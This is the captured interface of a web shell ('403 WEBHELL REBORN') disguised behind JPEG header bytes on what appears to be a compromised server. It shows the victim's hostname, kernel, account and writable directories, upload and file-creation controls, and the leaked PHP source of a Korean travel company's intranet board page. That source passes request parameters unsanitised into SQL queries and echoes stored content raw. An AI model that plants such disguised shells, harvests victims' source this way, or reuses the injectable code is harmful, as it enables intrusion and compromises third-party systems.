ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/intra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/intra/view.html
<?
include "../include/top.html";
include "_common.php";

//if($TK_MEMBER['mb_level'] == 5) $perm_str = "alert('권한이 없습니다');return;";
?>
<?
if(!$BD_CD) exit;

$BOARD_INFO = board_info_list('',$BD_CD);
$BOARD_INFO = $BOARD_INFO[0];

if($MSEQ){
	$sql_where = "where MSEQ='".$MSEQ."' ";

	$TO_BBS = board_list($BD_CD,$sql_where);
	$TO_BBS = $TO_BBS[0];

	if($BOARD_INFO[BD_WE]=='Y'){//에디터사용
		//$TO_BBS['MCONT'] = view_smart($TO_BBS['MCONT'],"editor");
	}else{
		//$TO_BBS['MCONT'] = view_smart($TO_BBS['MCONT'], "text");
	}

$MEM_NM = $TO_BBS[MEM_NM];
$MEM_EMAIL = $TO_BBS[MEM_EMAIL];

	$SqlType = "edit";
}else{
	$SqlType = "insert";
	$MEM_NM = $TK_MEMBER['mb_nm'];
	$MEM_EMAIL = $TK_MEMBER['mb_email'];
}

$href = "BD_CD=$BD_CD";
$href.= "&mode=$mode";
$href.= "&select_key=$select_key";
$href.= "&input_key=$input_key";

$param = $href."&page=$page";

$data = TO_get_board($TO_BBS, $BOARD_INFO, 0);
// 게시물 내용 정리
if ($BOARD_INFO[BD_WE] != "Y") { // 웹에디터 아닐 경우
	$data[MCONT] = nl2br($data[MCONT]); // <br /> 변환
	$data[MCONT] = conv_table($data[MCONT]); // 테이블 태그 변환
}

// 게시물 내용의 이미지 태그 변경
$data[MCONT] = preg_replace("/(\<img )([^\>]*)(\>)/i", "$1onclick=\"to_dialog.image(this.src);\" title='원본이미지(클릭)' $2$3", $data[MCONT]);
if($TK_MEMBER['mb_id']!=$data['MEM_ID']) {
	$perm_str = "alert('수정권한이 없습니다');return;";
	$perm_str2 = "alert('삭제권한이 없습니다');return;";
}
if($TK_MEMBER['mb_level'] == '1'){
	$perm_str = "";
	$perm_str2 = "";
}

// 게시물의 조회수 증가
db_query("update $BD_CD set READCNT = READCNT + 1 where MSEQ = '$MSEQ'");
?>
<script type="text/javascript">
	/*window.onload = function(){
		CKEDITOR.replace('MCONT', {width:'100px', height:'300px'});
	}*/

	function check_comment(){
		var f = document.cmm_ins_form;

		if($('#CCONT').val()!=''){
			//alert($('#CCONT').val());
			//ajax_post('check_in','proc.php','','SqlType=comment_add&MSEQ=<?=$data[MSEQ]?>&<?=$param?>&CCONT='+$('#CCONT').val());
			f.SqlType.value="comment_add";
			f.submit();
		}else{
			alert('코멘트 내용을 입력하세요');
			$('#CCONT').focus();
		}
	}

	function comment_del(CSEQ){
		if(!CSEQ) return;
		//location.href="proc.php?SqlType=comment_del&type=view&MSEQ=<?=$data[MSEQ]?>&<?=$param?>&CSEQ="+CSEQ;
		ajax_post('','proc.php?SqlType=comment_del&type=view&MSEQ=<?=$data[MSEQ]?>&<?=$param?>&CSEQ='+CSEQ,'','');
	}

</script>
	<div class="contents_wrap">
	<div class="contents_wrap_in">
			
		<div class="title">인트라넷<span class="arrow">&gt;</span><strong><?=$BOARD_INFO[BD_NM]?> <?=($MSEQ)?"수정":"등록"?></strong></div>
		<div class="contents_detail">
				<div id="Content_box">
					<form name="cmm_ins_form" id="cmm_ins_form" method="post" enctype="multipart/form-data" action="proc.php">
					<input type="hidden" name="param" id="param" value="<?=$param?>" />
					<input type="hidden" name="MSEQ" id="MSEQ" value="<?=$data[MSEQ]?>" />
					<input type="hidden" name="BD_CD" id="BD_CD" value="<?=$BD_CD?>" />
					<input type="hidden" name="SqlType" id="SqlType" value="<?=$SqlType?>" />
					<input type="hidden" name="type" id="type" value="view"/>

					<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write mt30" summary="게시물을 등록하실 수 있습니다.">
					<caption>게시물 등록</caption>
						<tbody>
					<?if($BOARD_INFO[BD_NG]=="Y"){//공지글사용?>
						<tr>
						<th scope="row"><label for="FIXED_YN">공지글</label></th>
						<td class="input_lo">
							<input name="FIXED_YN" id="FIXED_YN" type="checkbox" value="Y" <?if($data[FIXED_YN]=="Y"){?>checked<?}?> />
							<label for="FIXED_YN"><img src="../../image/board/notice.gif" align="top" alt="공지사항 지정" /></label>
						</td>
						</tr>
					<?}?>
					<?if($BOARD_INFO[BD_TP]){//카테고리분류?>
						<tr>
							<th scope="row">분류</td>
							<td>
								<select name="MSORT_03" id="MSORT_03" class="select">
									<?
									$arrBD_TP = explode(",", $BOARD_INFO[BD_TP]);
									for ( $i=0 ; $i<count($arrBD_TP) ; $i++ ) {
										if($arrBD_TP[$i]!=""){?>
										<option value="<?=$arrBD_TP[$i]?>" <?if($arrBD_TP[$i]==$data['MSORT_03']){?>SELECTED<?}?>><?=$arrBD_TP[$i]?>
									<?}
									}
									?>
								</select>
							</td>
						</tr>
					<?}?>
					<?if($BOARD_INFO[BD_OD]=='Y'){//순서조정가능?>
						<tr>
						<th scope="row"><label for="OrderNum">순서</label></th>
						<td><input name="OrderNum" id="OrderNum" type="Number" size="3" maxlength="3" class="input_text" value="<?=($data[OrderNum])?$data[OrderNum]:"999"?>" style='ime-mode:inactive' hname="순서" required onKeyDown="ChkNum(this,event);" /></td>
						</tr>

					<?}?>
						<tr>
						<th scope="row" width="120" style="min-width:50px"><label for="MEM_NM">이름</label></th>
						<td><?=$MEM_NM?></td>
						</tr>
						<tr>
						<th scope="row"><label for="MEM_EMAIL">e-mail</label></th>
						<td><?=$MEM_EMAIL?></td>
						</tr>
						<tr>
						<th scope="row"><label for="MTITLE">제목</label></th>
						<td><?=$data[MTITLE]?></td>
						</tr>
						<tr>
						<th scope="row"><label for="MCONT">내용</label></th>
						<td><?
							// 등록파일 다운로드 출력
							for ($i=1; $i<=$data[file][count]; $i++) {
								if ($data[file][$i][name] && !$data[file][$i][view]) {
									echo "<div style='padding:0 0 5px 0;'>{$data[icon_file]} <a href='../lib/Download.php?Type=CMM&BD_CD={$BD_CD}&FileName=".$data['MFILE'.$i]."' title='다운로드'>{$data[file][$i][name]} ({$data[file][$i][size]})</a></div> \n";
								}
							}

							// 등록파일 보기(이미지,동영상,플래시) 출력
							$cnt = 0;
							for ($i=1; $i<=$data[file][count]; $i++) {
								if ($data[file][$i][view]) {
									// 동영상 게시판일 경우 동영상 파일만 출력 (20100813 )
									if ($TO_BD[BD_SORT] == "MD06") {
										$preg_movie_ext = str_replace("," , "|", $TK_CF['movie_ext']);
										if (preg_match("/\.($preg_movie_ext)$/i", $data[file][$i][name])) {
											echo $data[file][$i][view] . "<br /><br /> \n";
											$cnt++;
										}
									}
									else {
										echo $data[file][$i][view] . "<br /><br /> \n";
										$cnt++;
									}
								}
							}
							?>
					<!-- 내용 -->
					<?=$data[MCONT]?>
					<!-- 테러 태그 방지용 --></xml></xmp><a href=""></a><a href=''></a></td>
						
						</tr>
						<?
						
						if($BOARD_INFO['BD_CG']=='Y' && $MSEQ){//코멘트사용
							?>
						<tr>
							<th scope="row"><label for="CCONT">코멘트</label></th>
							<td>
								<?
									//print_r($data['COMT_LIST']);
								?>
								<ul class="comment">
									<?
									if($data['COMT_CNT']>0){
										for($i=0;$i<count($TO_BBS['COMT_LIST']);$i++){
											$PRow = $TO_BBS['COMT_LIST'][$i];?>
									<li>
										<span class="pr20 comment_date"><?=substr(str_replace("-",".",$PRow[INSDT]),2,14)?></span>
										<span class="comment_name"><?=$PRow[CMEM_NM]?>(<?=$PRow[CMEM_ID]?>)</span>
										<span class="comment_con"><?=$PRow[CCONT]?>&nbsp;<a href="#" onclick="comment_del('<?=$PRow[CSEQ]?>'); return false;"><img src="/admin/image/btn/btn_delete.gif" class="btn_delete" alt="삭제" /></a></span>
									</li>
									<?}
									}?>
								</ul>
								<div class="comment_box">
									<textarea name="CCONT" id="CCONT" class="lo_left" style="width:88%;" rows="4"></textarea>
									<div class="lo_left ml10">
										<input type="button" value="코멘트 등록" class="Bbtn" onclick="check_comment();" />
									</div>
								</div>
							</td>
						</tr>
							<?
						}
						?>
						</tbody>
					</table>

					</form>

				<div class="btn_wrap_C mt30" style="background-color:#edf0f5">
					<a href="#"  class="Bbtn red" onclick="<?=$perm_str?>location.href='write.html?BD_CD=<?=$BD_CD?>&mode=<?=$mode?>&select_key=<?=$select_key?>&input_key=<?=$input_key?>&page=<?=$page?>&MSEQ=<?=$MSEQ?>'"><?=($MSEQ)?"수정":"등록"?>하기</a>
					<a class="Bbtn" href="#" onclick="<?=$perm_str2?>location.href='proc.php?SqlType=delete&MSEQ=<?=$MSEQ?>&BD_CD=<?=$BD_CD?>'">삭제하기</a>
					<a class="Bbtn" href="index.html?<?=$param?>">목록으로</a>
					</div>

				<div id="check_in" style="width:100%;height:300px;background:#edf0f5"></div>
				</div>
			</div>
		</div>
   </div>
    
<? include "../include/footer.html" ?>


Anon7 - 2021